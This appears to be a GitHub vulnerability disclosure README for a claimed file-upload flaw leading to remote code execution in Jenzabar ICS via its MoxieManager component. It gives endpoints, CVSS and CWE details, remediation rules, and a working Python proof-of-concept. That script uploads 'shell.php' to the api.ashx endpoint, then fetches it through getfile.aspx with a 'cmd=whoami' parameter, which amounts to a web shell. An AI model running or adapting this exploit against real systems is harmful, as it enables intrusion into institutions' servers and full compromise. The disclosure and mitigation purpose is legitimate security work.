itsismarcos/ics-moxiemanager-fileupload-pocCVE-2026-30-03 9.8 (Crítico) Possível RCE Jenzabar ICS + MoxieManager
CVE-2026-30-03 9.8 (Critical) Possible RCE Jenzabar ICS + MoxieManager
proof https://www.youtube.com/watch?v=lcfUL6Xx3f4&feature=youtu.be
CVE CVSS Impact Affected CVE-2026-30-03 9.8 (Critical) Possible RCE Jenzabar ICS + MoxieManager
A vulnerability in the MoxieManager component used by the Jenzabar ICS system may allow improper file uploads, which, under certain conditions, can be publicly accessed and potentially lead to remote code execution (RCE). Technical Description
The issue occurs due to:
Lack of proper validation of uploaded files
Possible exposure of files via public endpoint:
/ICS/staticpages/getfile.aspx
Inconsistent authentication control on the endpoint:
/ICS/UI/Common/Scripts/tinymce/plugins/moxiemanager/api.ashx
In specific scenarios, uploaded files may be stored in accessible directories and later retrieved.
Impact Arbitrary file upload Exposure of sensitive content Possible remote code execution (depending on server configuration) Full system compromise
Classification CVSS v3.1: 9.8 (Critical) Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CWE-434: Unrestricted upload of file CWE-284: Improper access control
PoC Exploit
#!/usr/bin/env python3
import requests
TARGET = "https://example.edu" MOXIE = f"{TARGET}/ICS/UI/Common/Scripts/tinymce/plugins/moxiemanager/api.ashx" UUID = "5d6b24cb-7bfe-4a6b-8581-4426bf0f4101"
files = {'file': ('shell.php', '', 'application/x-php')} data = {'action': 'upload', 'path': '/1085255', 'csrf': 'E24607903E4DC7496732F267BAD48FF35D855DA9E362AB80E0340D5B5EC5F164'}
r = requests.post(MOXIE, files=files, data=data) print(f"[+] Upload: {r.status_code}")
SHELL = f"{TARGET}/ICS/staticpages/getfile.aspx?target=/moxiemanager/files/users/{UUID}/shell.php" print(f"[+] Shell: {SHELL}?cmd=whoami") print(requests.get(f"{SHELL}?cmd=whoami").text)
Affected Systems (33+ Confirmed)
Remediation Immediate (Mitigation):
DELETE /moxiemanager/files/users/*/shell.php
Restrict getfile.aspx:
RewriteRule ^/ICS/staticpages/getfile.aspx?target=.*shell.php - [F,L]
Disable MoxieManager uploads
